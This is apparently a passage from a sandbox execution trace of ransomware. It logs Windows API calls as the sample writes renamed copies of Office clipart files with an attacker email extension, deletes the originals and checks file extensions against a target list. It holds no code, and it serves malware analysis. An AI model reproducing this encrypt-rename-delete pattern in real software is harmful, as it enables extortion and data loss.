lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0070.194] WriteFile (in: hFile=0x398, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0070.194] SetEndOfFile (hFile=0x398) returned 1 [0070.194] CloseHandle (hObject=0x398) returned 1 [0070.194] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0070.194] SetEndOfFile (hFile=0x354) returned 1 [0070.195] CloseHandle (hObject=0x354) returned 1 [0070.195] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0070.195] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf")) returned 1 [0070.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0070.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0070.195] lstrlenW (lpString=".doc") returned 4 [0070.195] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0070.195] lstrlenW (lpString=".docx") returned 5 [0070.195] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0070.195] lstrlenW (lpString=".pdf") returned 4 [0070.195] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0070.195] lstrlenW (lpString=".xls") returned 4 [0070.195] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0070.195] lstrlenW (lpString=".xlsx") returned 5 [0070.195] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0070.195] lstrlenW (lpString=".ppt") returned 4 [0070.195] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0070.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0070.195] lstrlenW (lpString=".zip") returned 4 [0070.195] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0070.195] lstrlenW (lpString=".rar") returned 4 [0070.196] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0070.196] lstrlenW (lpString=".bz2") returned 4 [0070.196] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0070.196] lstrlenW (lpString=".7z") returned 3 [0070.196] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0070.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0070.196] lstrlenW (lpString=".dbf") returned 4 [0070.196] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0070.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0070.196] lstrlenW (lpString=".1cd") returned 4 [0070.196] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0070.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0070.196] lstrlenW (lpString=".jpg") returned 4 [0070.196] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0070.198] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0070.198] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0070.198] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0070.198] GetLastError () returned 0x0 [0070.198] ReadFile (in: hFile=0x354, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x70c, lpOverlapped=0x0) returned 1 [0070.304] WriteFile (in: hFile=0x398, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x710, lpOverlapped=0x0) returned 1 [0070.305] ReadFile (in: hFile=0x354, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0070.305] WriteFile (in: hFile=0x398, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0070.305] SetEndOfFile (hFile=0x398) returned 1 [0070.305] CloseHandle (hObject=0x398) returned 1 [0070.305] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0070.305] SetEndOfFile (hFile=0x354) returned 1 [0070.306] CloseHandle (hObject=0x354) returned 1 [0070.306] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0070.306] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf")) returned 1 [0070.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0070.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0070.307] lstrlenW (lpString=".doc") returned 4 [0070.307] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0070.307] lstrlenW (lpString=".docx") returned 5 [0070.307] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0070.307] lstrlenW (lpString=".pdf") returned 4 [0070.307] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0070.307] lstrlenW (lpString=".xls") returned 4 [0070.307] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0070.307] lstrlenW (lpString=".xlsx") returned 5 [0070.307] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0070.307] lstrlenW (lpString=".ppt") returned 4 [0070.307] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0070.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0070.307] lstrlenW (lpString=".zip") returned 4 [0070.307] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0070.307] lstrlenW (lpString=".rar") returned 4 [0070.307] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0070.307] lstrlenW (lpString=".bz2") returned 4 [0070.307] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0070.307] lstrlenW (lpString=".7z") returned 3 [0070.307] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0070.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0070.307] lstrlenW (lpString=".dbf") returned 4 [0070.307] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0070.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0070.307] lstrlenW (lpString=".1cd") returned 4 [0070.307] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0070.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0070.307] lstrlenW (lpString=".jpg") returned 4 [0070.307] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0070.321] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0070.321] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0070.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0070.323] GetLastError () returned 0x0 [0070.323] ReadFile (in: hFile=0x2e0, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x824, lpOverlapped=0x0) returned 1 [0070.379] WriteFile (in: hFile=0x32c, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x830, lpOverlapped=0x0) returned 1 [0070.379] ReadFile (in: hFile=0x2e0, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0070.380] WriteFile (in: hFile=0x32c, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0070.380] SetEndOfFile (hFile=0x32c) returned 1 [0070.380] CloseHandle (hObject=0x32c) returned 1 [0070.380] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0070.380] SetEndOfFile (hFile=0x2e0) returned 1 [0070.381] CloseHandle (hObject=0x2e0) returned 1 [0070.381] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0070.381] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf")) returned 1 [0070.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0070.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0070.381] lstrlenW (lpString=".doc") returned 4 [0070.381] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0070.381] lstrlenW (lpString=".docx") returned 5 [0070.381] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0070.381] lstrlenW (lpString=".pdf") returned 4 [0070.381] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0070.381] lstrlenW (lpString=".xls") returned 4 [0070.381] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0070.381] lstrlenW (lpString=".xlsx") returned 5 [0070.381] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0070.381] lstrlenW (lpString=".ppt") returned 4 [0070.381] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0070.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0070.382] lstrlenW (lpString=".zip") returned 4 [0070.382] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0070.382] lstrlenW (lpString=".rar") returned 4 [0070.382] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0070.382] lstrlenW (lpString=".bz2") returned 4 [0070.382] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0070.382] lstrlenW (lpString=".7z") returned 3 [0070.382] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0070.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0070.382] lstrlenW (lpString=".dbf") returned 4 [0070.382] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0070.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0070.382] lstrlenW (lpString=".1cd") returned 4 [0070.382] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0070.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0070.382] lstrlenW (lpString=".jpg") returned 4 [0070.382] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0070.382] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0070.383] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0070.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0070.383] GetLastError () returned 0x0 [0070.383] ReadFile (in: hFile=0x2e0, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x2174, lpOverlapped=0x0) returned 1 [0070.398] WriteFile (in: hFile=0x32c, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x2180, lpOverlapped=0x0) returned 1 [0070.399] ReadFile (in: hFile=0x2e0, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0070.399] WriteFile (in: hFile=0x32c, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0070.399] SetEndOfFile (hFile=0x32c) returned 1 [0070.400] CloseHandle (hObject=0x32c) returned 1 [0070.400] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0070.400] SetEndOfFile (hFile=0x2e0) returned 1 [0070.401] CloseHandle (hObject=0x2e0) returned 1 [0070.401] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0070.401] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf")) returned 1 [0070.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0070.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0070.403] lstrlenW (lpString=".doc") returned 4 [0070.403] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0070.403] lstrlenW (lpString=".docx") returned 5 [0070.403] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0070.403] lstrlenW (lpString=".pdf") returned 4 [0070.403] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0070.403] lstrlenW (lpString=".xls") returned 4 [0070.403] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0070.403] lstrlenW (lpString=".xlsx") returned 5 [0070.403] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0070.403] lstrlenW (lpString=".ppt") returned 4 [0070.403] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0070.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0070.403] lstrlenW (lpString=".zip") returned 4 [0070.403] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0070.403] lstrlenW (lpString=".rar") returned 4 [0070.403] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0070.403] lstrlenW (lpString=".bz2") returned 4 [0070.410] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0070.410] lstrlenW (lpString=".7z") returned 3 [0070.410] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0070.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0070.410] lstrlenW (lpString=".dbf") returned 4 [0070.410] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0070.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0070.411] lstrlenW (lpString=".1cd") returned 4 [0070.411] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0070.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0070.411] lstrlenW (lpString=".jpg") returned 4 [0070.411] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0070.413] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0070.413] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0070.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0070.423] GetLastError () returned 0x0 [0070.423] ReadFile (in: hFile=0x32c, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x9dc, lpOverlapped=0x0) returned 1 [0070.475] WriteFile (in: hFile=0x358, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x9e0, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x9e0, lpOverlapped=0x0) returned 1 [0070.475] ReadFile (in: hFile=0x32c, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0070.475] WriteFile (in: hFile=0x358, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0070.475] SetEndOfFile (hFile=0x358) returned 1 [0070.476] CloseHandle (hObject=0x358) returned 1 [0070.476] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0070.476] SetEndOfFile (hFile=0x32c) returned 1 [0070.476] CloseHandle (hObject=0x32c) returned 1 [0070.476] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0070.477] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf")) returned 1 [0070.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0070.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0070.477] lstrlenW (lpString=".doc") returned 4 [0070.477] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0070.477] lstrlenW (lpString=".docx") returned 5 [0070.477] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0070.477] lstrlenW (lpString=".pdf") returned 4 [0070.477] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0070.477] lstrlenW (lpString=".xls") returned 4 [0070.477] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0070.477] lstrlenW (lpString=".xlsx") returned 5 [0070.477] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0070.477] lstrlenW (lpString=".ppt") returned 4 [0070.477] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0070.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0070.477] lstrlenW (lpString=".zip") returned 4 [0070.477] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0070.477] lstrlenW (lpString=".rar") returned 4 [0070.477] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0070.477] lstrlenW (lpString=".bz2") returned 4 [0070.477] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0070.477] lstrlenW (lpString=".7z") returned 3 [0070.477] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0070.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0070.478] lstrlenW (lpString=".dbf") returned 4 [0070.478] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0070.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0070.478] lstrlenW (lpString=".1cd") returned 4 [0070.478] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0070.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0070.478] lstrlenW (lpString=".jpg") returned 4 [0070.478] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0070.479] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0070.479] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0070.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0070.479] GetLastError () returned 0x0 [0070.479] ReadFile (in: hFile=0x32c, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x8fc, lpOverlapped=0x0) returned 1 [0070.606] WriteFile (in: hFile=0x358, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x900, lpOverlapped=0x0) returned 1 [0070.608] ReadFile (in: hFile=0x32c, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0070.608] WriteFile (in: hFile=0x358, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0070.608] SetEndOfFile (hFile=0x358) returned 1 [0070.608] CloseHandle (hObject=0x358) returned 1 [0070.609] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0070.609] SetEndOfFile (hFile=0x32c) returned 1 [0070.609] CloseHandle (hObject=0x32c) returned 1 [0070.609] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0070.610] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf")) returned 1 [0070.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0070.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68 [0070.610] lstrlenW (lpString=".doc") returned 4 [0070.610] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0070.610] lstrlenW (lpString=".docx") returned 5 [0070.610] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0070.610] lstrlenW (lpString=".pdf") returned 4 [0070.610] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0070.610] lstrlenW (lpString=".xls") returned 4 [0070.610] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0070.610] lstrlenW (lpString=".xlsx") returned 5 [0070.610] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0070.610] lstrlenW (lpString=".ppt") returned 4 [0070.610] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0070.610] lstrlenW 